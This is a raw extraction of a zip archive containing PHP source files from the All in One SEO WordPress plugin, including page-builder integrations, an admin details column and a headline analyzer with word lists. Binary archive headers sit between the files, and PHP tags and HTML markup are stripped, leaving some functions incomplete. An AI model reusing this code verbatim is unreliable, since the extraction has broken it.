limitModifiedDate( $postId ) { // This method is supposed to be used in the `wp_ajax_seedprod_pro_save_lpage` action. if ( wp_doing_ajax() && ! check_ajax_referer( 'seedprod_nonce', false, false ) ) { return false; } $landingPageId = ! empty( $_REQUEST['lpage_id'] ) ? (int) $_REQUEST['lpage_id'] : false; if ( $landingPageId !== $postId ) { return false; } $settings = ! empty( $_REQUEST['settings'] ) ? json_decode( wp_unslash( $_REQUEST['settings'] ) ) : false; if ( empty( $settings ) || empty( $settings->aioseo_limit_modified_date ) ) { return false; } return true; } }PKÉ—[ß ž9  Call-in-one-seo-pack/app/Common/Standalone/PageBuilders/WPBakery.phpnu„[µü¤postSettings->canAddPostSettingsMetabox( get_post_type( $this->getPostId() ) ) ) { return; } add_action( 'vc_frontend_editor_enqueue_js_css', [ $this, 'enqueue' ] ); add_action( 'vc_backend_editor_enqueue_js_css', [ $this, 'enqueue' ] ); add_filter( 'vc_nav_front_controls', [ $this, 'addNavbarCotnrols' ] ); add_filter( 'vc_nav_controls', [ $this, 'addNavbarCotnrols' ] ); } public function addNavbarCotnrols( $controlList ) { $controlList[] = [ 'aioseo', '
  • ' ]; return $controlList; } /** * Returns whether or not the given Post ID was built with WPBakery. * * @since 4.5.2 * * @param int $postId The Post ID. * @return boolean Whether or not the Post was built with WPBakery. */ public function isBuiltWith( $postId ) { $postObj = get_post( $postId ); if ( ! empty( $postObj ) && preg_match( '/vc_row/', $postObj->post_content ) ) { return true; } return false; } /** * Returns whether should or not limit the modified date. * * @since 4.5.2 * * @param int $postId The Post ID. * @return boolean Whether or not sholud limit the modified date. */ public function limitModifiedDate( $postId ) { // This method is supposed to be used in the `saveAjaxFe` action. if ( empty( $_REQUEST['_vcnonce'] ) || ! wp_verify_nonce( wp_unslash( $_REQUEST['_vcnonce'] ), 'vc-nonce-vc-admin-nonce' ) ) { return false; } $editorPostId = ! empty( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0; if ( $editorPostId !== $postId ) { return false; } return ! empty( $_REQUEST['aioseo_limit_modified_date'] ) && (bool) $_REQUEST['aioseo_limit_modified_date']; } /** * Returns the processed page builder content. * * @since 4.5.2 * * @param int $postId The post id. * @param string $content The raw content. * @return string The processed content. */ public function processContent( $postId, $content = '' ) { if ( method_exists( '\WPBMap', 'addAllMappedShortcodes' ) ) { \WPBMap::addAllMappedShortcodes(); } return parent::processContent( $postId, $content ); } }PKÉ—[öq&;all-in-one-seo-pack/app/Common/Standalone/DetailsColumn.phpnu„[µü¤helpers->getCurrentScreen(); if ( empty( $screen->base ) || empty( $screen->post_type ) ) { return; } if ( ! $this->shouldRegisterColumn( $screen->base, $screen->post_type ) ) { return; } add_action( 'admin_enqueue_scripts', [ $this, 'enqueueScripts' ] ); if ( 'product' === $screen->post_type ) { add_filter( 'manage_edit-product_columns', [ $this, 'addColumn' ] ); add_action( 'manage_posts_custom_column', [ $this, 'renderColumn' ], 10, 2 ); return; } if ( 'attachment' === $screen->post_type ) { $enabled = apply_filters( 'aioseo_image_seo_media_columns', true ); if ( ! $enabled ) { return; } add_filter( 'manage_media_columns', [ $this, 'addColumn' ] ); add_action( 'manage_media_custom_column', [ $this, 'renderColumn' ], 10, 2 ); return; } add_filter( "manage_edit-{$screen->post_type}_columns", [ $this, 'addColumn' ] ); add_action( "manage_{$screen->post_type}_posts_custom_column", [ $this, 'renderColumn' ], 10, 2 ); } /** * Registers our post columns after a post has been quick-edited. * * @since 4.2.3 * * @return void */ public function addPostColumnsAjax() { if ( ! isset( $_POST['_inline_edit'], $_POST['post_ID'], $_POST['aioseo-has-details-column'] ) || ! wp_verify_nonce( $_POST['_inline_edit'], 'inlineeditnonce' ) ) { return; } $postId = (int) $_POST['post_ID']; if ( ! $postId ) { return; } $post = get_post( $postId ); $postType = $post->post_type; add_filter( "manage_edit-{$postType}_columns", [ $this, 'addColumn' ] ); add_action( "manage_{$postType}_posts_custom_column", [ $this, 'renderColumn' ], 10, 2 ); } /** * Enqueues the JS/CSS for the page/posts table page. * * @since 4.0.0 * * @return void */ public function enqueueScripts() { $data = aioseo()->helpers->getVueData(); $data['posts'] = []; $data['terms'] = []; aioseo()->core->assets->load( $this->scriptSlug, [], $data ); } /** * Adds the AIOSEO Details column to the page/post tables in the admin. * * @since 4.0.0 * * @param array $columns The columns we are adding ours onto. * @return array The modified columns. */ public function addColumn( $columns ) { $canManageSeo = apply_filters( 'aioseo_manage_seo', 'aioseo_manage_seo' ); if ( ! current_user_can( $canManageSeo ) && ( ! current_user_can( 'aioseo_page_general_settings' ) && ! current_user_can( 'aioseo_page_analysis' ) ) ) { return $columns; } // Translators: 1 - The short plugin name ("AIOSEO"). $columns['aioseo-details'] = sprintf( esc_html__( '%1$s Details', 'all-in-one-seo-pack' ), AIOSEO_PLUGIN_SHORT_NAME ); return $columns; } /** * Renders the column in the page/post table. * * @since 4.0.0 * * @param string $columnName The column name. * @param int $postId The current rows, post id. * @return void */ public function renderColumn( $columnName, $postId = 0 ) { if ( ! current_user_can( 'edit_post', $postId ) && ! current_user_can( 'aioseo_manage_seo' ) ) { return; } if ( 'aioseo-details' !== $columnName ) { return; } // Add this column/post to the localized array. global $wp_scripts; $data = $wp_scripts->get_data( 'aioseo/js/' . $this->scriptSlug, 'data' ); if ( ! is_array( $data ) ) { $data = json_decode( str_replace( 'var aioseo = ', '', substr( $data, 0, -1 ) ), true ); } // We have to temporarily modify the query here since the query incorrectly identifies // the current page as a category page when posts are filtered by a specific category. global $wp_query; $originalQuery = clone $wp_query; $wp_query->is_category = false; $wp_query->is_tag = false; $wp_query->is_tax = false; $posts = ! empty( $data['posts'] ) ? $data['posts'] : []; $postData = $this->getPostData( $postId, $columnName ); $addonsColumnData = array_filter( aioseo()->addons->doAddonFunction( 'admin', 'renderColumnData', [ $columnName, $postId, $postData ] ) ); $wp_query = $originalQuery; foreach ( $addonsColumnData as $addonColumnData ) { $postData = array_merge( $postData, $addonColumnData ); } $posts[] = $postData; $data['posts'] = $posts; $wp_scripts->add_data( 'aioseo/js/' . $this->scriptSlug, 'data', '' ); wp_localize_script( 'aioseo/js/' . $this->scriptSlug, 'aioseo', $data ); require AIOSEO_DIR . '/app/Common/Views/admin/posts/columns.php'; } /** * Gets the post data for the column. * * @since 4.5.0 * * @param int $postId The Post ID. * @param string $columnName The column name. * @return array The post data. */ protected function getPostData( $postId, $columnName ) { $nonce = wp_create_nonce( "aioseo_meta_{$columnName}_{$postId}" ); $thePost = Models\Post::getPost( $postId ); $postType = get_post_type( $postId ); $postData = [ 'id' => $postId, 'columnName' => $columnName, 'nonce' => $nonce, 'title' => $thePost->title, 'defaultTitle' => aioseo()->meta->title->getPostTypeTitle( $postType ), 'description' => $thePost->description, 'defaultDescription' => aioseo()->meta->description->getPostTypeDescription( $postType ), 'value' => ! empty( $thePost->seo_score ) ? (int) $thePost->seo_score : 0, 'showMedia' => false, 'isSpecialPage' => aioseo()->helpers->isSpecialPage( $postId ), 'postType' => $postType, 'isPostVisible' => aioseo()->helpers->isPostPubliclyViewable( $postId ) ]; return $postData; } /** * Checks whether the AIOSEO Details column should be registered. * * @since 4.0.0 * * @return bool Whether the column should be registered. */ public function shouldRegisterColumn( $screen, $postType ) { if ( 'type' === $postType ) { $postType = '_aioseo_type'; } if ( 'edit' === $screen || 'upload' === $screen ) { if ( aioseo()->options->advanced->postTypes->all && in_array( $postType, aioseo()->helpers->getPublicPostTypes( true ), true ) ) { return true; } $postTypes = aioseo()->options->advanced->postTypes->included; if ( in_array( $postType, $postTypes, true ) ) { return true; } } return false; } }PKÉ—[r;P++8all-in-one-seo-pack/app/Common/Standalone/FlyoutMenu.phpnu„[µü¤isEnabled() ) { return; } add_action( 'admin_enqueue_scripts', [ $this, 'enqueueAssets' ], 11 ); add_filter( 'admin_body_class', [ $this, 'addBodyClass' ] ); } /** * Enqueues the required assets. * * @since 4.2.0 * * @return void */ public function enqueueAssets() { if ( ! $this->shouldEnqueue() ) { return; } aioseo()->core->assets->load( 'src/vue/standalone/flyout-menu/main.js' ); } /** * Filters the CSS classes for the body tag in the admin. * * @since 4.2.0 * * @param string $classes Space-separated list of CSS classes. * @return string Space-separated list of CSS classes. */ public function addBodyClass( $classes ) { if ( $this->shouldEnqueue() ) { // This adds a bottom margin to our menu so that we push the footer down and prevent the flyout menu from overlapping the "Save Changes" button. $classes .= ' aioseo-flyout-menu-enabled '; } return $classes; } /** * Checks whether the flyout menu script should be enqueued. * * @since 4.2.0 * * @return bool Whether the flyout menu script should be enqueued. */ private function shouldEnqueue() { if ( aioseo()->admin->isAioseoScreen() ) { return true; } return false; } /** * Checks whether the flyout menu is enabled. * * @since 4.2.0 * * @return bool Whether the flyout menu is enabled. */ public function isEnabled() { return apply_filters( 'aioseo_flyout_menu_enable', true ); } }PKÉ—[<"T‚Ì@Ì@>all-in-one-seo-pack/app/Common/Standalone/HeadlineAnalyzer.phpnu„[µü¤options->advanced->headlineAnalyzer ) { return; } add_filter( 'monsterinsights_headline_analyzer_enabled', '__return_false' ); add_filter( 'exactmetrics_headline_analyzer_enabled', '__return_false' ); } /** * Enqueues the headline analyzer. * * @since 4.1.2 * * @return void */ public function enqueue() { if ( ! aioseo()->helpers->isScreenBase( 'post' ) || ! aioseo()->access->hasCapability( 'aioseo_page_analysis' ) ) { return; } if ( ! aioseo()->options->advanced->headlineAnalyzer ) { return; } $path = '/vendor/jwhennessey/phpinsight/autoload.php'; if ( ! aioseo()->core->fs->exists( AIOSEO_DIR . $path ) ) { return; } require AIOSEO_DIR . $path; aioseo()->core->assets->load( 'src/react/headline-analyzer/main.js' ); } /** * Returns the result of the analsyis. * * @since 4.1.2 * * @param string $title The title. * @return array The result. */ public function getResult( $title ) { $result = $this->getHeadlineScore( $title ); if ( ! empty( $result->err ) ) { return false; } return [ 'result' => $result, 'analysed' => ! $result->err, 'sentence' => ucwords( wp_unslash( sanitize_text_field( $title ) ) ), 'score' => ! empty( $result->score ) ? $result->score : 0 ]; } /** * Returns the score. * * @since 4.1.2 * * @param string $title The title. * @return \stdClass The result. */ public function getHeadlineScore( $title ) { $result = new \stdClass(); $result->originalExplodedHeadline = explode( ' ', wp_unslash( $title ) ); // Strip useless characters and whitespace. $title = preg_replace( '/[^A-Za-z0-9 ]/', '', $title ); $title = preg_replace( '!\s+!', ' ', $title ); $title = strtolower( $title ); $result->input = $title; // If the headline is invalid, return an error. if ( ! $title || ' ' === $title || trim( $title ) === '' ) { $result->err = true; $result->msg = 'The headline is invalid.'; return $result; } $totalScore = 0; $explodedHeadline = explode( ' ', $title ); $result->explodedHeadline = $explodedHeadline; $result->err = false; // The optimal length is 55 characters. $result->length = strlen( str_replace( ' ', '', $title ) ); $totalScore = $totalScore + 3; //phpcs:disable Squiz.ControlStructures.ControlSignature if ( $result->length <= 19 ) { $totalScore += 5; } elseif ( $result->length >= 20 && $result->length <= 34 ) { $totalScore += 8; } elseif ( $result->length >= 35 && $result->length <= 66 ) { $totalScore += 11; } elseif ( $result->length >= 67 && $result->length <= 79 ) { $totalScore += 8; } elseif ( $result->length >= 80 ) { $totalScore += 5; } // The average headline is 6-7 words long. $result->wordCount = count( $explodedHeadline ); $totalScore = $totalScore + 3; if ( 0 === $result->wordCount ) { $totalScore = 0; } elseif ( $result->wordCount >= 2 && $result->wordCount <= 4 ) { $totalScore += 5; } elseif ( $result->wordCount >= 5 && $result->wordCount <= 9 ) { $totalScore += 11; } elseif ( $result->wordCount >= 10 && $result->wordCount <= 11 ) { $totalScore += 8; } elseif ( $result->wordCount >= 12 ) { $totalScore += 5; } // Check for power words, emotional words, etc. $result->powerWords = $this->matchWords( $result->input, $result->explodedHeadline, $this->powerWords() ); $result->powerWordsPercentage = count( $result->powerWords ) / $result->wordCount; $result->emotionWords = $this->matchWords( $result->input, $result->explodedHeadline, $this->emotionPowerWords() ); $result->emotionalWordsPercentage = count( $result->emotionWords ) / $result->wordCount; $result->commonWords = $this->matchWords( $result->input, $result->explodedHeadline, $this->commonWords() ); $result->commonWordsPercentage = count( $result->commonWords ) / $result->wordCount; $result->uncommonWords = $this->matchWords( $result->input, $result->explodedHeadline, $this->uncommonWords() ); $result->uncommonWordsPercentage = count( $result->uncommonWords ) / $result->wordCount; $result->detectedWordTypes = []; if ( $result->emotionalWordsPercentage < 0.1 ) { $result->detectedWordTypes[] = 'emotion'; } else { $totalScore = $totalScore + 15; } if ( $result->commonWordsPercentage < 0.2 ) { $result->detectedWordTypes[] = 'common'; } else { $totalScore = $totalScore + 11; } if ( $result->uncommonWordsPercentage < 0.1 ) { $result->detectedWordTypes[] = 'uncommon'; } else { $totalScore = $totalScore + 15; } if ( count( $result->powerWords ) < 1 ) { $result->detectedWordTypes[] = 'power'; } else { $totalScore = $totalScore + 19; } if ( $result->emotionalWordsPercentage >= 0.1 && $result->commonWordsPercentage >= 0.2 && $result->uncommonWordsPercentage >= 0.1 && count( $result->powerWords ) >= 1 ) { $totalScore = $totalScore + 3; } $sentiment = new \PHPInsight\Sentiment(); $sentimentClass = $sentiment->categorise( $title ); $result->sentiment = $sentimentClass; $totalScore = $totalScore + ( 'pos' === $result->sentiment ? 10 : ( 'neg' === $result->sentiment ? 10 : 7 ) ); $headlineTypes = []; if ( strpos( $title, 'how to' ) !== false || strpos( $title, 'howto' ) !== false ) { $headlineTypes[] = __( 'How-To', 'all-in-one-seo-pack' ); $totalScore = $totalScore + 7; } $listWords = array_intersect( $explodedHeadline, $this->numericalIndicators() ); if ( preg_match( '~[0-9]+~', $title ) || ! empty( $listWords ) ) { $headlineTypes[] = __( 'List', 'all-in-one-seo-pack' ); $totalScore = $totalScore + 7; } if ( in_array( $explodedHeadline[0], $this->primaryQuestionIndicators(), true ) ) { if ( in_array( $explodedHeadline[1], $this->secondaryQuestionIndicators(), true ) ) { $headlineTypes[] = __( 'Question', 'all-in-one-seo-pack' ); $totalScore = $totalScore + 7; } } if ( empty( $headlineTypes ) ) { $headlineTypes[] = __( 'General', 'all-in-one-seo-pack' ); $totalScore = $totalScore + 5; } $result->headlineTypes = $headlineTypes; $result->score = $totalScore >= 93 ? 93 : $totalScore; return $result; } /** * Tries to find matches for power words, emotional words, etc. in the headline. * * @since 4.1.2 * * @param string $headline The headline. * @param array $explodedHeadline The exploded headline. * @param array $words The words to match. * @return array The matches that were found. */ public function matchWords( $headline, $explodedHeadline, $words ) { $foundMatches = []; foreach ( $words as $word ) { $strippedWord = preg_replace( '/[^A-Za-z0-9 ]/', '', $word ); // Check if word is a phrase. if ( strpos( $word, ' ' ) !== false ) { if ( strpos( $headline, $strippedWord ) !== false ) { $foundMatches[] = $word; } continue; } // Check if it is a single word. if ( in_array( $strippedWord, $explodedHeadline, true ) ) { $foundMatches[] = $word; } } return $foundMatches; } /** * Returns a list of numerical indicators. * * @since 4.1.2 * * @return array The list of numerical indicators. */ private function numericalIndicators() { return [ 'one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine', 'eleven', 'twelve', 'thirt', 'fift', 'hundred', 'thousand' // phpcs:ignore Generic.Files.LineLength.MaxExceeded, WordPress.Arrays.ArrayDeclarationSpacing.ArrayItemNoNewLine ]; } /** * Returns a list of primary question indicators. * * @since 4.1.2 * * @return array The list of primary question indicators. */ private function primaryQuestionIndicators() { return [ 'where', 'when', 'how', 'what', 'have', 'has', 'does', 'do', 'can', 'are', 'will' // phpcs:ignore Generic.Files.LineLength.MaxExceeded, WordPress.Arrays.ArrayDeclarationSpacing.ArrayItemNoNewLine ]; } /** * Returns a list of secondary question indicators. * * @since 4.1.2 * * @return array The list of secondary question indicators. */ private function secondaryQuestionIndicators() { return [ 'you', 'they', 'he', 'she', 'your', 'it', 'they', 'my', 'have', 'has', 'does', 'do', 'can', 'are', 'will' // phpcs:ignore Generic.Files.LineLength.MaxExceeded, WordPress.Arrays.ArrayDeclarationSpacing.ArrayItemNoNewLine ]; } /** * Returns a list of power words. * * @since 4.1.2 * * @return array The list of power words. */ private function powerWords() { return [ 'great', 'free', 'focus', 'remarkable', 'confidential', 'sale', 'wanted', 'obsession', 'sizable', 'new', 'absolutely lowest', 'surging', 'wonderful', 'professional', 'interesting', 'revisited', 'delivered', 'guaranteed', 'challenge', 'unique', 'secrets', 'special', 'lifetime', 'bargain', 'scarce', 'tested', 'highest', 'hurry', 'alert famous', 'improved', 'expert', 'daring', 'strong', 'immediately', 'advice', 'pioneering', 'unusual', 'limited', 'the truth about', 'destiny', 'outstanding', 'simplistic', 'compare', 'unsurpassed', 'energy', 'powerful', 'colorful', 'genuine', 'instructive', 'big', 'affordable', 'informative', 'liberal', 'popular', 'ultimate', 'mainstream', 'rare', 'exclusive', 'willpower', 'complete', 'edge', 'valuable', 'attractive', 'last chance', 'superior', 'how to', 'easily', 'exploit', 'unparalleled', 'endorsed', 'approved', 'quality', 'fascinating', 'unlimited', 'competitive', 'gigantic', 'compromise', 'discount', 'full', 'love', 'odd', 'fundamentals', 'mammoth', 'lavishly', 'bottom line', 'under priced', 'innovative', 'reliable', 'zinger', 'suddenly', 'it\'s here', 'terrific', 'simplified', 'perspective', 'just arrived', 'breakthrough', 'tremendous', 'launching', 'sure fire', 'emerging', 'helpful', 'skill', 'soar', 'profitable', 'special offer', 'reduced', 'beautiful', 'sampler', 'technology', 'better', 'crammed', 'noted', 'selected', 'shrewd', 'growth', 'luxury', 'sturdy', 'enormous', 'promising', 'unconditional', 'wealth', 'spotlight', 'astonishing', 'timely', 'successful', 'useful', 'imagination', 'bonanza', 'opportunities', 'survival', 'greatest', 'security', 'last minute', 'largest', 'high tech', 'refundable', 'monumental', 'colossal', 'latest', 'quickly', 'startling', 'now', 'important', 'revolutionary', 'quick', 'unlock', 'urgent', 'miracle', 'easy', 'fortune', 'amazing', 'magic', 'direct', 'authentic', 'exciting', 'proven', 'simple', 'announcing', 'portfolio', 'reward', 'strange', 'huge gift', 'revealing', 'weird', 'value', 'introducing', 'sensational', 'surprise', 'insider', 'practical', 'excellent', 'delighted', 'download' // phpcs:ignore Generic.Files.LineLength.MaxExceeded, WordPress.Arrays.ArrayDeclarationSpacing.ArrayItemNoNewLine ]; } /** * Returns a list of common words. * * @since 4.1.2 * * @return array The list of common words. */ private function commonWords() { return [ 'a', 'for', 'about', 'from', 'after', 'get', 'all', 'has', 'an', 'have', 'and', 'he', 'are', 'her', 'as', 'his', 'at', 'how', 'be', 'I', 'but', 'if', 'by', 'in', 'can', 'is', 'did', 'it', 'do', 'just', 'ever', 'like', 'll', 'these', 'me', 'they', 'most', 'things', 'my', 'this', 'no', 'to', 'not', 'up', 'of', 'was', 'on', 'what', 're', 'when', 'she', 'who', 'sould', 'why', 'so', 'will', 'that', 'with', 'the', 'you', 'their', 'your', 'there' // phpcs:ignore Generic.Files.LineLength.MaxExceeded, WordPress.Arrays.ArrayDeclarationSpacing.ArrayItemNoNewLine ]; } /** * Returns a list of uncommon words. * * @since 4.1.2 * * @return array The list of uncommon words. */ private function uncommonWords() { return [ 'actually', 'happened', 'need', 'thing', 'awesome', 'heart', 'never', 'think', 'baby', 'here', 'new', 'time', 'beautiful', 'its', 'now', 'valentines', 'being', 'know', 'old', 'video', 'best', 'life', 'one', 'want', 'better', 'little', 'out', 'watch', 'boy', 'look', 'people', 'way', 'dog', 'love', 'photos', 'ways', 'down', 'made', 'really', 'world', 'facebook', 'make', 'reasons', 'year', 'first', 'makes', 'right', 'years', 'found', 'man', 'see', 'you’ll', 'girl', 'media', 'seen', 'good', 'mind', 'social', 'guy', 'more', 'something' // phpcs:ignore Generic.Files.LineLength.MaxExceeded, WordPress.Arrays.ArrayDeclarationSpacing.ArrayItemNoNewLine ]; } /** * Returns a list of emotional power words. * * @since 4.1.2 * * @return array The list of emotional power words. */ private function emotionPowerWords() { return [ 'destroy', 'extra', 'in a', 'devastating', 'eye-opening', 'gift', 'in the world', 'devoted', 'fail', 'in the', 'faith', 'grateful', 'inexpensive', 'dirty', 'famous', 'disastrous', 'fantastic', 'greed', 'grit', 'insanely', 'disgusting', 'fearless', 'disinformation', 'feast', 'insidious', 'dollar', 'feeble', 'gullible', 'double', 'fire', 'hack', 'fleece', 'had enough', 'invasion', 'drowning', 'floundering', 'happy', 'ironclad', 'dumb', 'flush', 'hate', 'irresistibly', 'hazardous', 'is the', 'fool', 'is what happens when', 'fooled', 'helpless', 'it looks like a', 'embarrass', 'for the first time', 'help are the', 'jackpot', 'forbidden', 'hidden', 'jail', 'empower', 'force-fed', 'high', 'jaw-dropping', 'forgotten', 'jeopardy', 'energize', 'hoax', 'jubilant', 'foul', 'hope', 'killer', 'frantic', 'horrific', 'know it all', 'epic', 'how to make', 'evil', 'freebie', 'frenzy', 'hurricane', 'excited', 'fresh on the mind', 'frightening', 'hypnotic', 'lawsuit', 'frugal', 'illegal', 'fulfill', 'lick', 'explode', 'lies', 'exposed', 'gambling', 'like a normal', 'nightmare', 'results', 'line', 'no good', 'pound', 'loathsome', 'no questions asked', 'revenge', 'lonely', 'looks like a', 'obnoxious', 'preposterous', 'revolting', 'looming', 'priced', 'lost', 'prison', 'lowest', 'of the', 'privacy', 'rich', 'lunatic', 'off-limits', 'private', 'risky', 'lurking', 'offer', 'prize', 'ruthless', 'lust', 'official', 'luxurious', 'on the', 'profit', 'scary', 'lying', 'outlawed', 'protected', 'scream', 'searing', 'overcome', 'provocative', 'make you', 'painful', 'pummel', 'secure', 'pale', 'punish', 'marked down', 'panic', 'quadruple', 'seductively', 'massive', 'pay zero', 'seize', 'meltdown', 'payback', 'might look like a', 'peril', 'mind-blowing', 'shameless', 'minute', 'rave', 'shatter', 'piranha', 'reckoning', 'shellacking', 'mired', 'pitfall', 'reclaim', 'mistakes', 'plague', 'sick and tired', 'money', 'played', 'refugee', 'silly', 'money-grubbing', 'pluck', 'refund', 'moneyback', 'plummet', 'plunge', 'murder', 'pointless', 'sinful', 'myths', 'poor', 'remarkably', 'six-figure', 'never again', 'research', 'surrender', 'to the', 'varify', 'skyrocket', 'toxic', 'vibrant', 'slaughter', 'swindle', 'trap', 'victim', 'sleazy', 'taboo', 'treasure', 'victory', 'smash', 'tailspin', 'vindication', 'smug', 'tank', 'triple', 'viral', 'smuggled', 'tantalizing', 'triumph', 'volatile', 'sniveling', 'targeted', 'truth', 'vulnerable', 'snob', 'tawdry', 'try before you buy', 'tech', 'turn the tables', 'wanton', 'soaring', 'warning', 'teetering', 'unauthorized', 'spectacular', 'temporary fix', 'unbelievably', 'spine', 'tempting', 'uncommonly', 'what happened', 'spirit', 'what happens when', 'terror', 'under', 'what happens', 'staggering', 'underhanded', 'what this', 'that will make you', 'undo","when you see', 'that will make', 'unexpected', 'when you', 'strangle', 'that will', 'whip', 'the best', 'whopping', 'stuck up', 'the ranking of', 'wicked', 'stunning', 'the most', 'will make you', 'stupid', 'the reason why is', 'unscrupulous', 'thing ive ever seen', 'withheld', 'this is the', 'this is what happens', 'unusually', 'wondrous', 'this is what', 'uplifting', 'worry', 'sure', 'this is', 'wounded', 'surge', 'thrilled', 'you need to know', 'thrilling', 'valor', 'you need to', 'you see what', 'surprising', 'tired', 'you see', 'surprisingly', 'to be', 'vaporize' // phpcs:ignore Generic.Files.LineLength.MaxExceeded, WordPress.Arrays.ArrayDeclarationSpacing.ArrayItemNoNewLine ]; } }PKÉ—[DÎÄ?all-in-one-seo-pack/app/Common/Standalone/LimitModifiedDate.phpnu„[µü¤helpers->getPublicPostTypes( true ) as $postType ) { add_filter( "rest_pre_insert_$postType", [ $this, 'addLimitModifiedDateValue' ], 10, 2 ); } } /** * Enqueues the scripts for the Limited Modified Date functionality. * * @since 4.1.8 * * @return void */ public function enqueueScripts() { if ( ! $this->isAllowed() || ! aioseo()->helpers->isScreenBase( 'post' ) ) { return; } // Only enqueue this script if the post-settings-metabox is already enqueued. if ( wp_script_is( 'aioseo/js/src/vue/standalone/post-settings/main.js', 'enqueued' ) ) { aioseo()->core->assets->load( 'src/vue/standalone/limit-modified-date/main.js' ); } } /** * Adds the Limit Modified Date field to the post object to prevent it from being dropped. * * @since 4.1.8 * * @param object $preparedPost The post data. * @param \WP_REST_Request $restRequest The request. * @return object The modified post data. */ public function addLimitModifiedDateValue( $preparedPost, $restRequest = null ) { if ( 'PUT' !== $restRequest->get_method() ) { return $preparedPost; } $params = $restRequest->get_json_params(); if ( empty( $params ) || ! isset( $params['aioseo_limit_modified_date'] ) ) { return $preparedPost; } $preparedPost->aioseo_limit_modified_date = $params['aioseo_limit_modified_date']; return $preparedPost; } /** * Resets the modified date when a post is updated if the Limit Modified Date option is enabled. * * @since 4.1.8 * * @param array $sanitizedData The sanitized post data. * @param array $unsanitizedData The unsanitized post data. * @return array The modified sanitized post data. */ public function resetModifiedDate( $sanitizedData, $unsanitizedData = [] ) { // If the ID isn't set, a new post is being inserted. if ( ! isset( $unsanitizedData['ID'] ) ) { return $sanitizedData; } $shouldReset = false; // Handle the REST API request from the Block Editor. if ( aioseo()->helpers->isRestApiRequest() ) { // If the value isn't set, then the value wasn't changed in the editor, and we can grab it from the post. if ( ! isset( $unsanitizedData['aioseo_limit_modified_date'] ) ) { $aioseoPost = Models\Post::getPost( $unsanitizedData['ID'] ); if ( $aioseoPost->exists() && $aioseoPost->limit_modified_date ) { $shouldReset = true; } } else { if ( $unsanitizedData['aioseo_limit_modified_date'] ) { $shouldReset = true; } } } // Handle the POST request. if ( isset( $unsanitizedData['aioseo-post-settings'] ) ) { $aioseoData = json_decode( stripslashes( $unsanitizedData['aioseo-post-settings'] ) ); if ( ! empty( $aioseoData->limit_modified_date ) ) { $shouldReset = true; } } // Handle post revision. if ( ! empty( $GLOBALS['action'] ) && 'restore' === $GLOBALS['action'] ) { $aioseoPost = Models\Post::getPost( $unsanitizedData['ID'] ); if ( $aioseoPost->exists() && $aioseoPost->limit_modified_date ) { $shouldReset = true; } } foreach ( aioseo()->standalone->pageBuilderIntegrations as $pageBuilder ) { if ( $pageBuilder->isBuiltWith( $unsanitizedData['ID'] ) && $pageBuilder->limitModifiedDate( $unsanitizedData['ID'] ) ) { $shouldReset = true; break; } } if ( $shouldReset ) { $sanitizedData['post_modified'] = $unsanitizedData['post_modified']; $sanitizedData['post_modified_gmt'] = $unsanitizedData['post_modified_gmt']; } return $sanitizedData; } /** * Add the checkbox in the Classic Editor. * * @since 4.1.8 * * @param \WP_Post $post The post object. * @return void */ public function classicEditorField( $post ) { if ( ! $this->isAllowed( $post->post_type ) ) { return; } ?>
    isAllowedPostType( $postType ) ) { return false; } if ( ! aioseo()->access->hasCapability( 'aioseo_page_general_settings' ) ) { return false; } return true; } /** * Check if the given post type is allowed to limit the modified date. * * @since 4.1.8 * * @param string $postType The post type name. * @return bool Whether the post type is allowed. */ private function isAllowedPostType( $postType ) { $dynamicOptions = aioseo()->dynamicOptions->noConflict(); $postTypes = aioseo()->helpers->getPublicPostTypes( true ); $postTypes = apply_filters( 'aioseo_limit_modified_date_post_types', $postTypes ); if ( ! in_array( $postType, $postTypes, true ) ) { return false; } if ( ! $dynamicOptions->searchAppearance->postTypes->has( $postType ) || ! $dynamicOptions->searchAppearance->postTypes->$postType->advanced->showMetaBox ) { return false; } return true; } }PKÉ—[lRr ïï;all-in-one-seo-pack/app/Common/Standalone/Notifications.phpnu„[µü¤core->assets->load( 'src/vue/standalone/notifications/main.js', [], [ 'newNotifications' => count( Models\Notification::getNewNotifications() ) ], 'aioseoNotifications' ); } }PKÉ—[]ê˜9all-in-one-seo-pack/app/Common/Standalone/PrimaryTerm.phpnu„[µü¤helpers->isScreenBase( 'post' ) ) { return; } aioseo()->core->assets->load( 'src/vue/standalone/primary-term/main.js', [], aioseo()->helpers->getVueData( 'post' ) ); } /** * Returns the primary term for the given taxonomy name. * * @since 4.3.6 * * @param int $postId The post ID. * @param string $taxonomyName The taxonomy name. * @return \WP_Term|false The term or false. */ public function getPrimaryTerm( $postId, $taxonomyName ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable return false; } }PKÉ—[Àýå õõ:all-in-one-seo-pack/app/Common/Standalone/PublishPanel.phpnu„[µü¤helpers->isScreenBase( 'post' ) ) { return; } aioseo()->core->assets->load( 'src/vue/standalone/publish-panel/main.js' ); } }PKÉ—[ã‘7ž"ž"8all-in-one-seo-pack/app/Common/Standalone/SeoPreview.phpnu„[µü¤helpers->isAmpPage() ) { return; } $allow = [ 'archive', 'attachment', 'author', 'date', 'dynamic_home', 'page', 'search', 'single', 'taxonomy', ]; if ( ! in_array( aioseo()->helpers->getTemplateType(), $allow, true ) ) { return; } $this->enable = true; // Prevent Autoptimize from optimizing the translations for the SEO Preview. If we don't do this, Autoptimize can break the frontend for certain languages - #5235. if ( is_user_logged_in() && 'en_US' !== get_user_locale() ) { add_filter( 'autoptimize_filter_noptimize', '__return_true' ); } // As WordPress uses priority 10 to print footer scripts we use 9 to make sure our script still gets output. add_action( 'wp_print_footer_scripts', [ $this, 'enqueueScript' ], 9 ); } /** * Hooked into `wp_print_footer_scripts` action hook. * Enqueue the standalone JS the latest possible and prevent 3rd-party performance plugins from merging it. * * @since 4.3.1 * * @return void */ public function enqueueScript() { aioseo()->core->assets->load( $this->mainAssetRelativeFilename, [], $this->getVueData(), 'aioseoSeoPreview' ); aioseo()->main->enqueueTranslations(); } /** * Returns the data for Vue. * * @since 4.2.8 * * @return array The data. */ private function getVueData() { $queriedObject = get_queried_object(); $templateType = aioseo()->helpers->getTemplateType(); if ( 'taxonomy' === $templateType || 'single' === $templateType || 'page' === $templateType || 'attachment' === $templateType ) { $labels = null; if ( is_a( $queriedObject, 'WP_Term' ) ) { $wpObject = $queriedObject; $labels = get_taxonomy_labels( get_taxonomy( $queriedObject->taxonomy ) ); $editObjectUrl = get_edit_term_link( $queriedObject, 